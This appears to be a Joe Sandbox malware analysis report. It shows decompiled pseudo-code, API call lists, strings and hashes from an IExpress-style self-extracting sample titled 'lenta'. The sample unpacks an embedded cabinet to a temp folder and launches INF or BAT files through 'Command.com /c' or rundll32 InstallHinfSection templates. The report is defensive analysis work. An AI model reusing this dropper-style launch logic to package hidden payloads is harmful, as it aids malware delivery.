Part of subcall function 003D468F: LockResource.KERNEL32(00000000,?,003D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003D46D3
Part of subcall function 003D468F: memcpy_s.MSVCRT ref: 003D46E5
Part of subcall function 003D468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 003D46EF

CompareStringA.KERNEL32(0000007F,00000001,?,000000FF,<None>,000000FF,00000104,?,003D8C42), ref: 003D3D8F
GetProcAddress.KERNEL32(00000000,DoInfInstall), ref: 003D3E26
FreeLibrary.KERNEL32(00000000,?,003D8C42), ref: 003D3EFF
LocalFree.KERNEL32(?,?,?,?,003D8C42), ref: 003D3F1F
FreeLibrary.KERNEL32(00000000,?,003D8C42), ref: 003D3F40
LocalFree.KERNEL32(?,?,?,?,003D8C42), ref: 003D3F47
FreeLibrary.KERNEL32(00000000,DoInfInstall,00000000,00000010,00000000,?,003D8C42), ref: 003D3F76
LocalFree.KERNEL32(?,advpack.dll,00000000,00000010,00000000,?,?,?,003D8C42), ref: 003D3F80
LocalFree.KERNEL32(?,00000000,00000000,00000010,00000000,?,?,?,003D8C42), ref: 003D3FC2

Strings

advpack.dll, xrefs: 003D3F9D
C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 003D3E74
SHOWWINDOW, xrefs: 003D3C34
D, xrefs: 003D3C19
USRQCMD, xrefs: 003D3CAD
RUNPROGRAM, xrefs: 003D3D05
ADMQCMD, xrefs: 003D3C9E
REBOOT, xrefs: 003D3BE2
lenta, xrefs: 003D3E68
<None>, xrefs: 003D3CC9, 003D3D7D
POSTRUNPROGRAM, xrefs: 003D3D60
DoInfInstall, xrefs: 003D3E1F, 003D3E24, 003D3F68

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: Free$Resource$Local$Library$CompareFindString$AddressLoadLockProcSizeofmemcpy_smemset
String ID: <None>$ADMQCMD$C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\$D$DoInfInstall$POSTRUNPROGRAM$REBOOT$RUNPROGRAM$SHOWWINDOW$USRQCMD$advpack.dll$lenta
API String ID: 1032054927-4257430877
Opcode ID: 9f65d121e77cd66cc92b4be705746909b8f6a501a8fb187f3745434587499bda
Instruction ID: de9338c067b25272c7266e359b193f05b8d4d1388e04db7886c3a4ad30223516
Opcode Fuzzy Hash: 9f65d121e77cd66cc92b4be705746909b8f6a501a8fb187f3745434587499bda
Instruction Fuzzy Hash: 2DB1CD72A093019BD7239F24B845B6B77E9AB84700F11092BFA95DB390DB708E44CB93

Uniqueness

Uniqueness Score: -1.00%

Function 003D1AE8 Relevance: 38.8, APIs: 10, Strings: 12, Instructions: 291
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E003D1AE8(long __ecx, CHAR** _a4, int* _a8) {
				signed int _v8;
				char _v268;
				char _v527;
				char _v528;
				char _v1552;
				CHAR* _v1556;
				int* _v1560;
				CHAR** _v1564;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t48;
				CHAR* _t53;
				CHAR* _t54;
				char* _t57;
				char* _t58;
				CHAR* _t60;
				void* _t62;
				signed char _t65;
				intOrPtr _t76;
				intOrPtr _t77;
				unsigned int _t85;
				CHAR* _t90;
				CHAR* _t92;
				char _t105;
				char _t106;
				CHAR** _t111;
				CHAR* _t115;
				intOrPtr* _t125;
				void* _t126;
				CHAR* _t132;
				CHAR* _t135;
				void* _t138;
				void* _t139;
				void* _t145;
				intOrPtr* _t146;
				char* _t148;
				CHAR* _t151;
				void* _t152;
				CHAR* _t155;
				CHAR* _t156;
				void* _t157;
				signed int _t158;

				_t48 =  *0x3d8004; // 0xf4fc83b5
				_v8 = _t48 ^ _t158;
				_t108 = __ecx;
				_v1564 = _a4;
				_v1560 = _a8;
				E003D1680( &_v528, 0x104, __ecx);
				if(_v528 != 0x22) {
					_t135 = " ";
					_t53 =  &_v528;
				} else {
					_t135 = "\"";
					_t53 =  &_v527;
				}
				_t111 =  &_v1556;
				_v1556 = _t53;
				_t54 = E003D1A84(_t111, _t135);
				_t156 = _v1556;
				_t151 = _t54;
				if(_t156 == 0) {
					L12:
					_push(_t111);
					E003D1781( &_v268, 0x104, _t111, "C:\Users\FRONTD~1\AppData\Local\Temp\IXP000.TMP\");
					E003D658A( &_v268, 0x104, _t156);
					goto L13;
				} else {
					_t132 = _t156;
					_t148 =  &(_t132[1]);
					do {
						_t105 =  *_t132;
						_t132 =  &(_t132[1]);
					} while (_t105 != 0);
					_t111 = _t132 - _t148;
					if(_t111 < 3) {
						goto L12;
					}
					_t106 = _t156[1];
					if(_t106 != 0x3a || _t156[2] != 0x5c) {
						if( *_t156 != 0x5c || _t106 != 0x5c) {
							goto L12;
						} else {
							goto L11;
						}
					} else {
						L11:
						E003D1680( &_v268, 0x104, _t156);
						L13:
						_t138 = 0x2e;
						_t57 = E003D66C8(_t156, _t138);
						if(_t57 == 0 || CompareStringA(0x7f, 1, _t57, 0xffffffff, ".INF", 0xffffffff) != 0) {
							_t139 = 0x2e;
							_t115 = _t156;
							_t58 = E003D66C8(_t115, _t139);
							if(_t58 == 0 || CompareStringA(0x7f, 1, _t58, 0xffffffff, ".BAT", 0xffffffff) != 0) {
								_t156 = LocalAlloc(0x40, 0x400);
								if(_t156 == 0) {
									goto L43;
								}
								_t65 = GetFileAttributesA( &_v268); // executed
								if(_t65 == 0xffffffff || (_t65 & 0x00000010) != 0) {
									E003D1680( &_v1552, 0x400, _t108);
								} else {
									_push(_t115);
									_t108 = 0x400;
									E003D1781( &_v1552, 0x400, _t115,  &_v268);
									if(_t151 != 0 &&  *_t151 != 0) {
										E003D16B3( &_v1552, 0x400, " ");
										E003D16B3( &_v1552, 0x400, _t151);
									}
								}
								_t140 = _t156;
								 *_t156 = 0;
								E003D2AAC( &_v1552, _t156, _t156);
								goto L53;
							} else {
								_t108 = "Command.com /c %s";
								_t125 = "Command.com /c %s";
								_t145 = _t125 + 1;
								do {
									_t76 =  *_t125;
									_t125 = _t125 + 1;
								} while (_t76 != 0);
								_t126 = _t125 - _t145;
								_t146 =  &_v268;
								_t157 = _t146 + 1;
								do {
									_t77 =  *_t146;
									_t146 = _t146 + 1;
								} while (_t77 != 0);
								_t140 = _t146 - _t157;
								_t154 = _t126 + 8 + _t146 - _t157;
								_t156 = LocalAlloc(0x40, _t126 + 8 + _t146 - _t157);
								if(_t156 != 0) {
									E003D171E(_t156, _t154, "Command.com /c %s",  &_v268);
									goto L53;
								}
								goto L43;
							}
						} else {
							_t85 = GetFileAttributesA( &_v268);
							if(_t85 == 0xffffffff || ( !(_t85 >> 4) & 0x00000001) == 0) {
								_t140 = 0x525;
								_push(0);
								_push(0x10);
								_push(0);
								_t60 =  &_v268;
								goto L35;
							} else {
								_t140 = "[";
								_v1556 = _t151;
								_t90 = E003D1A84( &_v1556, "[");
								if(_t90 != 0) {
									if( *_t90 != 0) {
										_v1556 = _t90;
									}
									_t140 = "]";
									E003D1A84( &_v1556, "]");
								}
								_t156 = LocalAlloc(0x40, 0x200);
								if(_t156 == 0) {
									L43:
									_t60 = 0;
									_t140 = 0x4b5;
									_push(0);
									_push(0x10);
									_push(0);
									L35:
									_push(_t60);
									E003D44B9(0, _t140);
									_t62 = 0;
									goto L54;
								} else {
									_t155 = _v1556;
									_t92 = _t155;
									if( *_t155 == 0) {
										_t92 = "DefaultInstall";
									}
									 *0x3d9120 = GetPrivateProfileIntA(_t92, "Reboot", 0,  &_v268);
									 *_v1560 = 1;
									if(GetPrivateProfileStringA("Version", "AdvancedINF", 0x3d1140, _t156, 8,  &_v268) == 0) {
										 *0x3d9a34 =  *0x3d9a34 & 0xfffffffb;
										if( *0x3d9a40 != 0) {
											_t108 = "setupapi.dll";
										} else {
											_t108 = "setupx.dll";
											GetShortPathNameA( &_v268,  &_v268, 0x104);
										}
										if( *_t155 == 0) {
											_t155 = "DefaultInstall";
										}
										_push( &_v268);
										_push(_t155);
										E003D171E(_t156, 0x200, "rundll32.exe %s,InstallHinfSection %s 128 %s", _t108);
									} else {
										 *0x3d9a34 =  *0x3d9a34 | 0x00000004;
										if( *_t155 == 0) {
											_t155 = "DefaultInstall";
										}
										E003D1680(_t108, 0x104, _t155);
										_t140 = 0x200;
										E003D1680(_t156, 0x200,  &_v268);
									}
									L53:
									_t62 = 1;
									 *_v1564 = _t156;
									L54:
									_pop(_t152);
									return E003D6CE0(_t62, _t108, _v8 ^ _t158, _t140, _t152, _t156);
								}
							}
						}
					}
				}
			}

0x003d1af3
0x003d1afa
0x003d1b07
0x003d1b09
0x003d1b1a
0x003d1b20
0x003d1b2c
0x003d1b3b
0x003d1b40
0x003d1b2e
0x003d1b2e
0x003d1b33
0x003d1b33
0x003d1b46
0x003d1b4c
0x003d1b52
0x003d1b57
0x003d1b5d
0x003d1b61
0x003d1b9f
0x003d1b9f
0x003d1bb1
0x003d1bc2
0x00000000
0x003d1b63
0x003d1b63
0x003d1b65
0x003d1b68
0x003d1b68
0x003d1b6a
0x003d1b6b
0x003d1b6f
0x003d1b74
0x00000000
0x00000000
0x003d1b76
0x003d1b7b
0x003d1b86
0x00000000
0x00000000
0x00000000
0x00000000
0x003d1b8c
0x003d1b8c
0x003d1b98
0x003d1bc7
0x003d1bc9
0x003d1bcc
0x003d1bd3
0x003d1d75
0x003d1d76
0x003d1d78
0x003d1d7f
0x003d1e05
0x003d1e09
0x00000000
0x00000000
0x003d1e12
0x003d1e1b
0x003d1e73
0x003d1e21
0x003d1e21
0x003d1e28
0x003d1e37
0x003d1e3e
0x003d1e52
0x003d1e60
0x003d1e60
0x003d1e3e
0x003d1e79
0x003d1e7b
0x003d1e84
0x00000000
0x003d1d9b
0x003d1d9b
0x003d1da0
0x003d1da2
0x003d1da5
0x003d1da5
0x003d1da7
0x003d1da8
0x003d1dac
0x003d1dae
0x003d1db4
0x003d1db7
0x003d1db7
0x003d1db9
0x003d1dba
0x003d1dbe
0x003d1dc3
0x003d1dce
0x003d1dd2
0x003d1deb
0x00000000
0x003d1df0
0x00000000
0x003d1dd2
0x003d1bf7
0x003d1bfe
0x003d1c07
0x003d1d55
0x003d1d5a
0x003d1d5b
0x003d1d5d
0x003d1d5e
0x00000000
0x003d1c1b
0x003d1c1b
0x003d1c20
0x003d1c2c
0x003d1c33
0x003d1c38
0x003d1c3a
0x003d1c3a
0x003d1c40
0x003d1c4b
0x003d1c4b
0x003d1c5d
0x003d1c61
0x003d1dd4
0x003d1dd4
0x003d1dd6
0x003d1ddb
0x003d1ddc
0x003d1dde
0x003d1d64
0x003d1d64
0x003d1d67
0x003d1d6c
0x00000000
0x003d1c67
0x003d1c67
0x003d1c6d
0x003d1c72
0x003d1c74
0x003d1c74
0x003d1c8e
0x003d1c99
0x003d1cc0
0x003d1cf8
0x003d1d07
0x003d1d23
0x003d1d09
0x003d1d14
0x003d1d1b
0x003d1d1b
0x003d1d2b
0x003d1d2d
0x003d1d2d
0x003d1d38
0x003d1d39
0x003d1d46
0x003d1cc2
0x003d1cc2
0x003d1ccc
0x003d1cce
0x003d1cce
0x003d1cdb
0x003d1ce6
0x003d1cee
0x003d1cee
0x003d1e89
0x003d1e91
0x003d1e92
0x003d1e94
0x003d1e97
0x003d1ea4
0x003d1ea4
0x003d1c61
0x003d1c07
0x003d1bd3
0x003d1b7b

APIs

CompareStringA.KERNEL32(0000007F,00000001,00000000,000000FF,.INF,000000FF,?,?,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,?,?,00000000,00000001,00000000), ref: 003D1BE7
GetFileAttributesA.KERNEL32(?,?,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,?,?,00000000,00000001,00000000), ref: 003D1BFE
LocalAlloc.KERNEL32(00000040,00000200,?,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,?,?,00000000,00000001,00000000), ref: 003D1C57
GetPrivateProfileIntA.KERNEL32 ref: 003D1C88
GetPrivateProfileStringA.KERNEL32(Version,AdvancedINF,003D1140,00000000,00000008,?), ref: 003D1CB8
GetShortPathNameA.KERNEL32 ref: 003D1D1B

Part of subcall function 003D44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 003D4518
Part of subcall function 003D44B9: MessageBoxA.USER32(?,?,lenta,00010010), ref: 003D4554

Strings

C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 003D1BA0
.INF, xrefs: 003D1BDB
setupx.dll, xrefs: 003D1D14
Command.com /c %s, xrefs: 003D1D9B, 003D1DE8
setupapi.dll, xrefs: 003D1D23, 003D1D3A
DefaultInstall, xrefs: 003D1C74, 003D1C87, 003D1CCE, 003D1CD3, 003D1D2D, 003D1D39
AdvancedINF, xrefs: 003D1CAE
rundll32.exe %s,InstallHinfSection %s 128 %s, xrefs: 003D1D3B
Reboot, xrefs: 003D1C82
", xrefs: 003D1B25
.BAT, xrefs: 003D1D83
Version, xrefs: 003D1CB3

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: String$PrivateProfile$AllocAttributesCompareFileLoadLocalMessageNamePathShort
String ID: "$.BAT$.INF$AdvancedINF$C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\$Command.com /c %s$DefaultInstall$Reboot$Version$rundll32.exe %s,InstallHinfSection %s 128 %s$setupapi.dll$setupx.dll
API String ID: 383838535-1533028066
Opcode ID: 53e8b945a02e5bec41123b95bdb0973a9886abd8a0924b8e555a3088fc9c838c
Instruction ID: bb7dfbcd34bec9bad14868aac5535bce21f418266a9d2003e2ff41b411c9723e
Opcode Fuzzy Hash: 53e8b945a02e5bec41123b95bdb0973a9886abd8a0924b8e555a3088fc9c838c
Instruction Fuzzy Hash: 7EA166B3A002187BEB239B24FC45FFA776AAB45310F140297E955A73C1DBB09E85CB50

Uniqueness

Uniqueness Score: -1.00%

Function 003D597D Relevance: 19.7, APIs: 13, Instructions: 212
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E003D597D(CHAR* __ecx, signed char __edx, void* __edi, intOrPtr _a4) {
				signed int _v8;
				char _v16;
				char _v276;
				char _v788;
				long _v792;
				long _v796;
				long _v800;
				signed int _v804;
				long _v808;
				int _v812;
				long _v816;
				long _v820;
				void* __ebx;
				void* __esi;
				signed int _t46;
				int _t50;
				signed int _t55;
				void* _t66;
				int _t69;
				signed int _t73;
				signed short _t78;
				signed int _t87;
				signed int _t101;
				int _t102;
				unsigned int _t103;
				unsigned int _t105;
				signed int _t111;
				long _t112;
				signed int _t116;
				CHAR* _t118;
				signed int _t119;
				signed int _t120;

				_t114 = __edi;
				_t46 =  *0x3d8004; // 0xf4fc83b5
				_v8 = _t46 ^ _t120;
				_v804 = __edx;
				_t118 = __ecx;
				GetCurrentDirectoryA(0x104,  &_v276);
				_t50 = SetCurrentDirectoryA(_t118); // executed
				if(_t50 != 0) {
					_push(__edi);
					_v796 = 0;
					_v792 = 0;
					_v800 = 0;
					_v808 = 0;
					_t55 = GetDiskFreeSpaceA(0,  &_v796,  &_v792,  &_v800,  &_v808); // executed
					__eflags = _t55;
					if(_t55 == 0) {
						L29:
						memset( &_v788, 0, 0x200);
						 *0x3d9124 = E003D6285();
						FormatMessageA(0x1000, 0, GetLastError(), 0,  &_v788, 0x200, 0);
						_t110 = 0x4b0;
						L30:
						__eflags = 0;
						E003D44B9(0, _t110, _t118,  &_v788, 0x10, 0);
						SetCurrentDirectoryA( &_v276);
						L31:
						_t66 = 0;
						__eflags = 0;
						L32:
						_pop(_t114);
						goto L33;
					}
					_t69 = _v792 * _v796;
					_v812 = _t69;
					_t116 = MulDiv(_t69, _v800, 0x400);
					__eflags = _t116;
					if(_t116 == 0) {
						goto L29;
					}
					_t73 = GetVolumeInformationA(0, 0, 0, 0,  &_v820,  &_v816, 0, 0); // executed
					__eflags = _t73;
					if(_t73 != 0) {
						SetCurrentDirectoryA( &_v276); // executed
						_t101 =  &_v16;
						_t111 = 6;
						_t119 = _t118 - _t101;
						__eflags = _t119;
						while(1) {
							_t22 = _t111 - 4; // 0x2
							__eflags = _t22;
							if(_t22 == 0) {
								break;
							}
							_t87 =  *((intOrPtr*)(_t119 + _t101));
							__eflags = _t87;
							if(_t87 == 0) {
								break;
							}
							 *_t101 = _t87;
							_t101 = _t101 + 1;
							_t111 = _t111 - 1;
							__eflags = _t111;
							if(_t111 != 0) {
								continue;
							}
							break;
						}
						__eflags = _t111;
						if(_t111 == 0) {
							_t101 = _t101 - 1;
							__eflags = _t101;
						}
						 *_t101 = 0;
						_t112 = 0x200;
						_t102 = _v812;
						_t78 = 0;
						_t118 = 8;
						while(1) {
							__eflags = _t102 - _t112;
							if(_t102 == _t112) {
								break;
							}
							_t112 = _t112 + _t112;
							_t78 = _t78 + 1;
							__eflags = _t78 - _t118;
							if(_t78 < _t118) {
								continue;
							}
							break;
						}
						__eflags = _t78 - _t118;
						if(_t78 != _t118) {
							__eflags =  *0x3d9a34 & 0x00000008;
							if(( *0x3d9a34 & 0x00000008) == 0) {
								L20:
								_t103 =  *0x3d9a38; // 0x0
								_t110 =  *((intOrPtr*)(0x3d89e0 + (_t78 & 0x0000ffff) * 4));
								L21:
								__eflags = (_v804 & 0x00000003) - 3;
								if((_v804 & 0x00000003) != 3) {
									__eflags = _v804 & 0x00000001;
									if((_v804 & 0x00000001) == 0) {
										__eflags = _t103 - _t116;
									} else {
										__eflags = _t110 - _t116;
									}
								} else {
									__eflags = _t103 + _t110 - _t116;
								}
								if(__eflags <= 0) {
									 *0x3d9124 = 0;
									_t66 = 1;
								} else {
									_t66 = E003D268B(_a4, _t110, _t103,  &_v16);
								}
								goto L32;
							}
							__eflags = _v816 & 0x00008000;
							if((_v816 & 0x00008000) == 0) {
								goto L20;
							}
							_t105 =  *0x3d9a38; // 0x0
							_t110 =  *((intOrPtr*)(0x3d89e0 + (_t78 & 0x0000ffff) * 4)) +  *((intOrPtr*)(0x3d89e0 + (_t78 & 0x0000ffff) * 4));
							_t103 = (_t105 >> 2) +  *0x3d9a38;
							goto L21;
						}
						_t110 = 0x4c5;
						E003D44B9(0, 0x4c5, 0, 0, 0x10, 0);
						goto L31;
					}
					memset( &_v788, 0, 0x200);
					 *0x3d9124 = E003D6285();
					FormatMessageA(0x1000, 0, GetLastError(), 0,  &_v788, 0x200, 0);
					_t110 = 0x4f9;
					goto L30;
				} else {
					_t110 = 0x4bc;
					E003D44B9(0, 0x4bc, 0, 0, 0x10, 0);
					 *0x3d9124 = E003D6285();
					_t66 = 0;
					L33:
					return E003D6CE0(_t66, 0, _v8 ^ _t120, _t110, _t114, _t118);
				}
			}

0x003d597d
0x003d5988
0x003d598f
0x003d599a
0x003d59a6
0x003d59a8
0x003d59af
0x003d59b9
0x003d59dd
0x003d59e4
0x003d59f1
0x003d59fe
0x003d5a0b
0x003d5a13
0x003d5a19
0x003d5a1b
0x003d5ba1
0x003d5baf
0x003d5bbd
0x003d5bd8
0x003d5bde
0x003d5be3
0x003d5bec
0x003d5bf0
0x003d5bfc
0x003d5c02
0x003d5c02
0x003d5c02
0x003d5c04
0x003d5c04
0x00000000
0x003d5c04
0x003d5a27
0x003d5a3a
0x003d5a46
0x003d5a48
0x003d5a4a
0x00000000
0x00000000
0x003d5a64
0x003d5a6a
0x003d5a6c
0x003d5abc
0x003d5ac2
0x003d5ac9
0x003d5aca
0x003d5aca
0x003d5acc
0x003d5acc
0x003d5acf
0x003d5ad1
0x00000000
0x00000000
0x003d5ad3
0x003d5ad6
0x003d5ad8
0x00000000
0x00000000
0x003d5ada
0x003d5adc
0x003d5add
0x003d5add
0x003d5ae0
0x00000000
0x00000000
0x00000000
0x003d5ae0
0x003d5ae2
0x003d5ae4
0x003d5ae6
0x003d5ae6
0x003d5ae6
0x003d5ae9
0x003d5aeb
0x003d5af0
0x003d5af6
0x003d5af8
0x003d5af9
0x003d5af9
0x003d5afb
0x00000000
0x00000000
0x003d5afd
0x003d5aff
0x003d5b00
0x003d5b03
0x00000000
0x00000000
0x00000000
0x003d5b03
0x003d5b05
0x003d5b08
0x003d5b20
0x003d5b27
0x003d5b52
0x003d5b52
0x003d5b5b
0x003d5b62
0x003d5b6b
0x003d5b6d
0x003d5b76
0x003d5b7d
0x003d5b83
0x003d5b7f
0x003d5b7f
0x003d5b7f
0x003d5b6f
0x003d5b72
0x003d5b72
0x003d5b85
0x003d5b98
0x003d5b9e
0x003d5b87
0x003d5b8f
0x003d5b8f
0x00000000
0x003d5b85
0x003d5b29
0x003d5b33
0x00000000
0x00000000
0x003d5b35
0x003d5b48
0x003d5b4a
0x00000000
0x003d5b4a
0x003d5b0f
0x003d5b16
0x00000000
0x003d5b16
0x003d5a7c
0x003d5a8a
0x003d5aa5
0x003d5aab
0x00000000
0x003d59bb
0x003d59c0
0x003d59c7
0x003d59d1
0x003d59d6
0x003d5c05
0x003d5c14
0x003d5c14

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?,00000000,00000000), ref: 003D59A8
SetCurrentDirectoryA.KERNELBASE(?), ref: 003D59AF
GetDiskFreeSpaceA.KERNELBASE(00000000,?,?,?,?,00000001), ref: 003D5A13
MulDiv.KERNEL32(?,?,00000400), ref: 003D5A40
GetVolumeInformationA.KERNELBASE(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 003D5A64
memset.MSVCRT ref: 003D5A7C
GetLastError.KERNEL32(00000000,?,00000200,00000000), ref: 003D5A98
FormatMessageA.KERNEL32(00001000,00000000,00000000), ref: 003D5AA5
SetCurrentDirectoryA.KERNEL32(?,?,?,00000010,00000000), ref: 003D5BFC

Part of subcall function 003D44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 003D4518
Part of subcall function 003D44B9: MessageBoxA.USER32(?,?,lenta,00010010), ref: 003D4554

Part of subcall function 003D6285: GetLastError.KERNEL32(003D5BBC), ref: 003D6285

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: CurrentDirectory$ErrorLastMessage$DiskFormatFreeInformationLoadSpaceStringVolumememset
String ID:
API String ID: 4237285672-0
Opcode ID: e2ee3eb39f2fbdcc7b0a4189f659b78f8672f694c8b4962c7e1b806523345f9d
Instruction ID: 70f950e2302bd2d4cb0075a7ce29ffecc9f7a4d8472765814e6de431ad39ddb9
Opcode Fuzzy Hash: e2ee3eb39f2fbdcc7b0a4189f659b78f8672f694c8b4962c7e1b806523345f9d
Instruction Fuzzy Hash: 147190B290161CAFEB179F64ED85FFA77BCEB48340F0440ABF44596240EA309E848B60

Uniqueness

Uniqueness Score: -1.00%

Function 003D4FE0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 121
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E003D4FE0(void* __edi, void* __eflags) {
				void* __ebx;
				void* _t8;
				struct HWND__* _t9;
				int _t10;
				void* _t12;
				struct HWND__* _t24;
				struct HWND__* _t27;
				intOrPtr _t29;
				void* _t33;
				int _t34;
				CHAR* _t36;
				int _t37;
				intOrPtr _t47;

				_t33 = __edi;
				_t36 = "CABINET";
				 *0x3d9144 = E003D468F(_t36, 0, 0);
				_t8 = LockResource(LoadResource(0, FindResourceA(0, _t36, 0xa)));
				 *0x3d9140 = _t8;
				if(_t8 == 0) {
					return _t8;
				}
				_t9 =  *0x3d8584; // 0x0
				if(_t9 != 0) {
					ShowWindow(GetDlgItem(_t9, 0x842), 0);
					ShowWindow(GetDlgItem( *0x3d8584, 0x841), 5);
				}
				_t10 = E003D4EFD(0, 0);
				if(_t10 != 0) {
					__imp__#20(E003D4CA0, E003D4CC0, E003D4980, E003D4A50, E003D4AD0, E003D4B60, E003D4BC0, 1, 0x3d9148, _t33);
					_t34 = _t10;
					if(_t34 == 0) {
						L8:
						_t29 =  *0x3d9148; // 0x0
						_t24 =  *0x3d8584; // 0x0
						E003D44B9(_t24, _t29 + 0x514, 0, 0, 0x10, 0);
						_t37 = 0;
						L9:
						goto L10;
					}
					__imp__#22(_t34, "*MEMCAB", 0x3d1140, 0, E003D4CD0, 0, 0x3d9140); // executed
					_t37 = _t10;
					if(_t37 == 0) {
						goto L9;
					}
					__imp__#23(_t34); // executed
					if(_t10 != 0) {
						goto L9;
					}
					goto L8;
				} else {
					_t27 =  *0x3d8584; // 0x0
					E003D44B9(_t27, 0x4ba, 0, 0, 0x10, 0);
					_t37 = 0;
					L10:
					_t12 =  *0x3d9140; // 0x0
					if(_t12 != 0) {
						FreeResource(_t12);
						 *0x3d9140 = 0;
					}
					if(_t37 == 0) {
						_t47 =  *0x3d91d8; // 0x0
						if(_t47 == 0) {
							E003D44B9(0, 0x4f8, 0, 0, 0x10, 0);
						}
					}
					if(( *0x3d8a38 & 0x00000001) == 0 && ( *0x3d9a34 & 0x00000001) == 0) {
						SendMessageA( *0x3d8584, 0xfa1, _t37, 0);
					}
					return _t37;
				}
			}

0x003d4fe0
0x003d4fe6
0x003d4ff9
0x003d500d
0x003d5013
0x003d501a
0x003d5163
0x003d5163
0x003d5020
0x003d5027
0x003d5037
0x003d5051
0x003d5051
0x003d5057
0x003d505e
0x003d50a7
0x003d50ad
0x003d50b4
0x003d50e8
0x003d50e8
0x003d50ee
0x003d50ff
0x003d5104
0x003d5106
0x00000000
0x003d5106
0x003d50cd
0x003d50d3
0x003d50da
0x00000000
0x00000000
0x003d50dd
0x003d50e6
0x00000000
0x00000000
0x00000000
0x003d5060
0x003d5060
0x003d5070
0x003d5075
0x003d5107
0x003d5107
0x003d510e
0x003d5111
0x003d5117
0x003d5117
0x003d511f
0x003d5121
0x003d5127
0x003d5135
0x003d5135
0x003d5127
0x003d5141
0x003d5159
0x003d5159
0x00000000
0x003d515f

APIs

Part of subcall function 003D468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003D46A0
Part of subcall function 003D468F: SizeofResource.KERNEL32(00000000,00000000,?,003D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003D46A9
Part of subcall function 003D468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003D46C3
Part of subcall function 003D468F: LoadResource.KERNEL32(00000000,00000000,?,003D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003D46CC
Part of subcall function 003D468F: LockResource.KERNEL32(00000000,?,003D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003D46D3
Part of subcall function 003D468F: memcpy_s.MSVCRT ref: 003D46E5
Part of subcall function 003D468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 003D46EF

FindResourceA.KERNEL32(00000000,CABINET,0000000A), ref: 003D4FFE
LoadResource.KERNEL32(00000000,00000000), ref: 003D5006
LockResource.KERNEL32(00000000), ref: 003D500D
GetDlgItem.USER32(00000000,00000842), ref: 003D5030
ShowWindow.USER32(00000000), ref: 003D5037
GetDlgItem.USER32(00000841,00000005), ref: 003D504A
ShowWindow.USER32(00000000), ref: 003D5051
FreeResource.KERNEL32(00000000,00000000,00000010,00000000), ref: 003D5111
SendMessageA.USER32(00000FA1,00000000,00000000,00000000), ref: 003D5159

Strings

CABINET, xrefs: 003D4FE6, 003D4FF7
*MEMCAB, xrefs: 003D50C7

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: Resource$Find$FreeItemLoadLockShowWindow$MessageSendSizeofmemcpy_s
String ID: *MEMCAB$CABINET
